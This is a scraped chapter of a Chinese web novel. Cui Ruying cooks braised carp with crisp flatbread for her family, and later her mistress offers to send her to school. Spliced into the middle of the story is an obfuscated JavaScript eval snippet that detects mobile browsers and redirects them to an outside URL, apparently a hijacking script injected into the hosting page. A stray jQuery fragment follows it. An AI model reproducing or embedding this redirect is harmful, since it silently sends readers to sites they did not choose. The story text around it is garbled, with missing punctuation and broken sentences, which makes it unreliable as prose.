第24章启蒙


    摊主也爽快,抹了一文钱，等收了钱，就埋头刮鳞收拾内脏。


    鱼之大,一锅炖不下。


    崔如英记着许娘子坐月子的时候,崔大山也买过鲫鱼。大人巴掌大小,跟豆腐一块炖汤喝,鲫鱼价钱便宜，以崔大山的厨艺炖起汤来味道也鲜美。


    只不过她只尝到一小口,这回鱼这么大,终于能吃个过瘾了。


    等摊主收拾好鳞片内脏，连着鱼鳔鱼泡啥的，崔如英提着全给带走了。


    早市上人来人往，吃早饭的，出来买肉和菜的，路过包子摊儿,生意还算红火。


    崔如英没急着回家,路过肉摊时又割了半斤五花肉。因为鱼多瘦肉,不像猪肉有肥膘,若是干炖也行,但总差了几分香味儿。


    而五花肉油脂多，吃起来香，所以一会儿炖鱼的时候放到里面，炖出来的鱼汤也会更加浓稠，适合泡饼吃。


    回到家中,崔如英把鱼放到厨房。


    二丫本来看着妹妹,就等崔大郎回来抱着去喝奶,结果先等到三丫,一看这么大条鱼，眼睛都亮了，“咱们中午吃鱼呀！”


    崔如英点了点头，“我先去给洗洗。”


    鱼泡鱼肝能吃，鱼鳔崔如英打算做成花胶，这也是不可多得的食材，慢慢晾着攒着，以后肯定有用。


    其余能吃的内脏一并洗干净，炖着吃就成了。


    鱼大，崔如英也不打算往里面放菜，今天就光吃鱼。也不蒸米饭馒头，就吃饼，这可不是许娘子以前烙的那种大饼，加点红薯面玉米面，油也少，大是大，但吃着干巴巴噎人。


    崔如英今天就用白面，这要想大鱼泡饼好吃，一在鱼汤，鱼炖得越香，泡饼才越香。二在饼，饼金黄酥脆，这样泡了汤后才会外酥里软，里里外外等吸足了汤汁，饼的油香带着鱼肉的香味，真叫人回味无穷，哪怕不吃肉，光吃饼也能吃几块儿。


    不过这样废油，崔如英看了看家里的油罐子，都没下去多少，崔大山做饭省油。


    油不多放，做菜哪儿能好吃呢。


    把香料找找，厨房收拾收拾，崔大山父子俩也卖完包子回来了。


    想着中午吃肉给了不少钱，今儿包子都没往家里拿，卖得一个不剩。


    崔大山还进来看看买了啥肉，得知买了条鱼还挺高兴，对他来说，鸡鸭鱼都是肉，反而鱼肉更便宜。


    买三斤猪肉的钱能买五六斤鱼呢，家里孩子多，吃别的舍不得，吃鱼他能多吃几口。


    就是鱼肉没那么香不过有肉吃还挑啥呢。


    爷俩吃了锅里的红薯大朗就跟二丫去带着妹妹去喝奶了。


    一时半会儿回不来崔大山又要刷竹屉崔如英就把中午饭全揽了下来。


    鱼太大剁成了四段鱼段比整条的好煎也好炖。然后要把鱼皮上的粘液洗干净做出来没有土腥气。


    五花肉为了能出油切成了小薄片下锅一炒等肉煎金黄捞出来崔如英一看肥肉已经变得晶莹剔透了。


    剩下的油崔如英也没再往油壶里倒为了吃起来香还多舀了勺猪油。


    接下来就是煎鱼了直接下锅鱼皮大抵会破崔如英把鱼的几面都拍上红薯粉大块的鱼肉下锅香味很快就出来了。


    崔大山在外头刷着锅刷着刷着动作顿住鼻子吸了吸他好像闻到香味儿了。


    锅大鱼大只人小煎鱼的时候鱼皮还是不可避免地破了一点儿不过自家吃也不在乎好不好看好吃就行了。


    鱼炖在锅里煎好之后连着五花肉也放进去再放上蒜葱姜片辣椒等物前几样主要为了去腥而辣椒桂皮等香料则是增香之用。


    炉子上烧着热水等崔如英把酱油调料等倒进去用大铲子翻炒均匀之后滚烫的热水哗啦一声全进锅里等锅再开就可以盖子锅盖小火慢炖这大鱼泡饼中的大鱼就不用崔如英再操心了。


    家里的大锅包容性极强不管是红烧肉还是炖小鸡都能炖得下只要有耐心等上一个多时辰就能吃到一顿丰盛的午餐。


    大鱼还得好一阵崔如英歇了会儿打算一会儿做饼。


    这饼也有讲究。


    饼要层数多就得放油崔如英想用葱油和面的时候用葱油调点油酥一层一层抹进去裹好擀平饼就能有好几层到时候虽不见葱花也能吃到葱的香味儿。


    为何不用葱花那是因为葱花容易糊。


    这饼不像鸡蛋饼那般薄在锅里转两下就行了鸡蛋饼有了葱花颜色翠绿好看还增加口感吗了但烙饼不一样烙饼的时间长最外面的葱花时间久了就糊在饼皮上黑黢黢的。


    和面揉面擀饼等二丫他们回来崔如英面已经把面和好了先醒醒一会儿抹油酥。


    二丫闻着香味进来


    鱼还能这么香。


    崔如英道：“对呀先慢慢炖着一会儿再烙饼中午咱们就吃饼子。”


    闲着的功夫崔如英把鱼鳔洗干净拆开用夹子


    挂在牵条上，二丫把妹妹抱进屋，撸起袖子准备烙饼，抹油酥够呛，但是她可以烙饼。


    家里还有口铁锅，架在炉子上用这个烙也成，不过要是有平底锅肯定更好用。


    崔大郎一言不发地坐在灶膛前头，火小更需要人盯着，六丫现在睡着了，他管烧火就是。


    太阳越来越高，巷子里各家各户也都开始烧饭了。


    城南巷子一直都热闹，尤其到了中午，外头玩耍的孩子也都往家跑了。


    从前崔四郎只有羡慕别人的份儿，别人家的饭香，还有肉，那会儿五郎更小，看着别人家吃好吃的一直咽口水。


    现在崔家卖包子，半个酱肉包都能让别的孩子给抓半天虫子。


    四郎总觉得家里的鸡长得比别人家的快，都不用饲料，每天光吃虫子都够了。


    临近中午，四郎又背着小竹篓回家了。


    今天出门早，为的就是能早点回来。


    三姐昨儿回来跟爹要了钱，今天少不了吃好吃的，虽然前两天吃的韭菜炒鸡蛋也挺香的，不过没有三姐做的肉好吃。


    巷子里的玩伴儿神色要么羡慕，要么如以前五郎一样忍着咽口水。四郎心里暗爽，终于轮到他家吃肉别人看着了。


    回到家，四郎没急着去厨房，而是先带着五郎洗手把脸上手上的泥土洗干净，三姐爱干净，洗好之后，这才闻着香味进屋。


    四郎：“三姐，今天中午吃啥？


    崔如英道：“吃饼子。


    已经烙好几块了，烙好之后就在外面放着，能更酥更脆。


    为了方便吃，她让二丫把饼切成小块，薄脆的饼皮，香软的饼瓤。


    四郎看那饼颜色金黄，不禁道：“三姐啊，这饼都看着这么好吃了，锅里的是不是更好吃？三姐，你真是最好的姐，回来又给我带点心，又做这么好吃的给我吃。二姐你也好，我快给你们捏捏。


    二丫道：“别捣乱，还得烙饼呢。


    崔如英让四郎捏了两下，然后支使弟弟去薅两根小葱。


    炖了好一会儿了，饼也做熟了，一会儿大火收个汁，就能开饭了。


    大郎在这坐了小半天，除了偶尔进屋看看六丫，就盯着灶膛里的火，天有些热，他额头鼻尖都出了不少汗。说实在的，在这坐着实在煎熬，热就不说了，香味还一阵一阵的。


    让崔大郎想起从前家里有些小钱的时候，那会儿隔段时间就能吃到肉。


    若是娘也在就好了，一家人一起吃。


    崔如英算着时辰，“大哥，


    差不多了，锅盖儿给掀开吧。


    崔大郎让妹妹躲远点儿，锅盖掀开热气腾腾，然后就是翻涌而出的香味。


    崔如英眯了眯眼睛，她觉得这味道有些霸道，因为一直是小火，所以汤没见少太多，四大块鱼段堆在汤中，一切辣椒段香料做了点缀，还有些五花肉片在汤中起起伏伏，晶莹剔透好似下一刻就要化了。


    锅里除了肉还是肉，不像前两次炖五花肉和鸡肉，还有鸡蛋和土豆这些。


    加了五花肉，让这锅鱼添了几分香味。


    汤的颜色是褐黄色，鱼被煎焦的皮这会儿已经泡得很软了，有些地方露出染成褐色的鱼肉，看着就好很入味儿。


    崔如英尝了尝汤汁的味道，现在有些淡，不过还得收汁呢，“大哥，加把火。


    几把柴火添入灶膛，锅又飞快地开了上来。


    今儿做饭早，午时饭就熟了了。崔如英先盛出来一碗，泡了些饼，让二丫给刘婶儿家送去。


    给人送东西，都是拿好的送，二丫这会儿说了话，跑回来家里也开饭了。


    一人一个大碗，饭桌中间摆着一大盆鱼。


    饼子就放在盘子里，谁吃谁夹，崔大山直接拿了张大的，舀几勺子汤，把饼往鱼汤里泡，鱼汤热饼凉，吃起来正正好。


    鲤鱼有刺，但跟鲫鱼比起来却不算多。


    崔如英把饼泡进汤中，等到里里外外都浸了汤汁，这才吃了口饼，外酥里嫩不说，汤中的些许辣味恰到好处，再尝口鱼肉，小火慢炖容易入味儿，没有土腥味，只有鲜嫩。


    鱼是崔如英看着杀的，新鲜极了，肉也是一瓣一瓣的。


    她本想问问味道如何，看一家人埋头苦吃，这也不必问了。


    崔大山吃得口大，鱼刺直接给嚼碎了，不过孩子小，他分心给五郎挑挑刺，四郎就不必了，但看他狼吞虎咽，崔大山伸手照着四郎脑袋就是一巴掌，“慢点，别卡了刺。


    四郎舔了舔嘴巴，“爹，这也太好吃了，真香啊！这个饼不泡汤都好吃，干吃好脆！


    崔大山想，三丫去侯府，能学到不少东西，不过这孩子也聪明，这才几岁，就能做这些了。


    崔大山这一顿当真是吃饱了，饼可劲儿吃，鱼头最后也让他给啃了。


    鱼头大，就着饼吃也香，桌上六口人，最后吃的只剩下鱼汤了，这汤明儿还能泡饼子吃一顿。


    至于里面的五花肉片，炖得时间久，跟红烧肉差不多，早就吃完了。


    吃过饭就犯困，不过还得刷锅做生煎，崔大山睡了


    一会儿就去忙活了。


    昨儿卖生煎的时候也跟客人说了今儿不去城东就直接往城西走。


    东西比城南富庶人也多有了在城东卖的经验在这头也顺顺利利。


    在这边卖的时候同样说了明儿不来毕竟这包子也不算便宜日日都来买的少隔一日吃一次别人也能记着。


    明日再去城东可以多做些估计都能卖出去。


    两边各一日到时候开了铺子回头客肯定多城北崔如英还不打算去世家大族有厨子大抵不吃这些的。


    丫鬟侍卫虽然有银子却不会常出来。


    在家待了一日多崔如英明儿也该回侯府了次日一早蒸包子的时候崔大山还煮了几个鸡蛋在灶膛烧了两个红薯好留着崔如英回去的路上吃。


    家里也没啥好东西鸡蛋是前几天买的补身子炒着吃每天给六丫吃个蛋羹怕女儿回去的路上饿崔大山一下煮了三个也是很舍得了。


    崔如英也没拒绝笑着说了声爹你真好就背着水壶和鸡蛋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764372|156712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回侯府了。


    一路跑跑走走半个多时辰也就到了。


    到了侯府崔如英先跟李嬷嬷说了一声然后才回屋。


    原以为这会儿屋里没人结果绕过屏风一看许娘子正在床上睡着她把动作放轻了些八成是陆云蓁又找了新奶娘这样更好许娘子也能轻松些。


    一个多时辰后许娘子醒了过来见女儿回来很是高兴先问了问家里的情况得知六丫长得快生意也不错连鸡仔都长大不少后露出一个笑来。


    许娘子道：“挺好三娘子又寻了个奶娘姓田昨儿搬进来的。我们两个五日一轮换这样也挺好的。”


    真让她一直白日看


    不过就算如此有了陈娘子被赶出去的事儿许娘子也不敢白日回去喂六丫。离得远万一耽误了正事那可不行。既然当了奶娘还是先尽好自己的本分。


    崔如英笑着道：“娘这样也好都轻省些。你再睡会儿吧等吃饭了我喊你。”


    许娘子摇摇头“不急田娘子性子好今儿昨儿都没迟过我也不觉得累。”


    就是连着看的两天也有丫鬟帮衬她也能抓着挤着睡觉的。


    崔如英拿出了个鸡蛋“那娘吃个煮鸡蛋吧我看你的饭菜里还有鸡蛋呢肯定能吃。这是爹早上给我的我路上吃了两个现在六丫吃蛋羹不过我看大哥二姐他们瘦巴巴的让爹赚了钱平日也


    吃好些，这回可算舍得买鸡蛋了。而且我想着和娘在侯府吃得好，这回回家，还买了条鱼炖了吃呢。”


    许娘子不是对孩子抠搜的人，加上赚了银子，孩子们吃了她更高兴。


    许娘子摸摸崔如英的脑袋，“行，吃点鱼补身子。”


    崔如英：“还有上回回去，还炖了只鸡。”


    许娘子道：“吃就吃吧，咱们家里现在也赚钱了，只要不大手大脚乱花钱，补补身子是应该的。”


    崔如英道：“娘你说得对，咱们不就是为了过好日子才赚钱的嘛。”


    母女俩这样说着话倒也温馨，说说家里事儿，许娘子最爱听的就是这个。


    她把鸡蛋给吃了，清香扑鼻，最要紧的是这是家里带回来的。


    崔如英把烤红薯给吃了，正好能坚持到吃中午饭的时候。


    临近正午，秋月进来，却没送饭，而是对她们道：“许娘子，崔小娘子，三娘子请你们二位过去说话。”


    许娘子愣神，请她们过去，难不成是做事没做好？


    崔如英看了许娘子一眼，赶紧道：“秋月姐姐，我和我娘收拾一番就过去。”


    今儿三月二十六，离月底没几天了。


    崔如英想，难不成发月银，可等过去之后，却不像是这事儿。


    月钱李嬷嬷发就是了，哪儿用特地见一面。


    陆云蓁坐月子也十天了，身子恢复得不错，以往见陆云蓁都是靠坐着或是躺在床上，现在穿得整齐，只头发披着，在罗汉床上坐着。


    见二人过来，喊了声锦月，锦月便搬来矮凳给二人坐。


    许娘子行了个礼，“见过三娘子。”


    崔如英也行了个礼，“三娘子好。”


    陆云蓁笑了笑，“坐下吧，今日请你们二位过来，是有事相商。”


    许娘子心里又紧张起来，心跳得快，耳朵和脸也慢慢热了。


    陆云蓁慢声道：“许娘子不必紧张，放心，不是坏事儿，先坐下吧。锦月，看茶。”


    崔如英大概能猜到是什么了。


    崔如英猜，应该是名字的事儿。


    早先在璋哥儿洗三那日，崔如英求陆云蓁帮忙改名字，陆云蓁就提过让跟着府上姑娘去读书的。


    这是个折中的法子，今天不会说的就是这个事吧。


    崔如英和许娘子一块儿坐下，锦月又端上来茶水，这茶清香扑鼻，喝了两口放到一边，崔如英问：“三娘子，不知你想说的是何事？”


    陆云蓁：“前两日听三爷提起大房的女儿


    下个月就要去府里学堂启蒙了，为人母为子女计深远，只不过璋哥儿还小，我身边的孩子只有三丫一个，我便想到她了。


    许娘子，你孩子多，应该比我体会深刻，我是觉得她聪颖伶俐，甚至于说比二房的女儿还要聪慧懂事，各中难得，想来你也知晓。”


    这可不是一句穷人家的孩子早当家就能说得通的。


    陆云蓁笑着看向许娘子，“所以我想着让三丫也跟着去学堂读书，女儿家虽不用考取功名，可能识文断字，对日后来说也有好处的。这是我的意思，但你是她的母亲，此事还应该问过你才是。”


    崔如英是许娘子的女儿，如今才七岁，大事她做不了主，陆云蓁也做不了主，该如何还是得听许娘子的意思。


    崔如英看了许娘子一眼，许娘子也低头看了看她，她也说不准许娘子会怎么想。


    毕竟来时许娘子嘱咐过多次，不可乱跑，不可生出旁的心思，本分最要紧，或许在许娘子心里，女儿家想读书也是一件不本分的事。


    男儿能建功立业，可女子又能做什么呢？


    崔如英也在这儿生活好几年了，别人家的女儿十五六岁就嫁人了，比起读书，会绣花女红好，会做一顿好吃的饭菜，好似更重要。


    她想，假如许娘子不同意，她就求着改个名字。


    反正也读过书，攒些钱自己看书练字，不是难事。


    崔如英暗自想着，陆云蓁也在等。


    半晌，许娘子说道：“多谢三娘子为三丫打算，只是这……”


    作者有话要说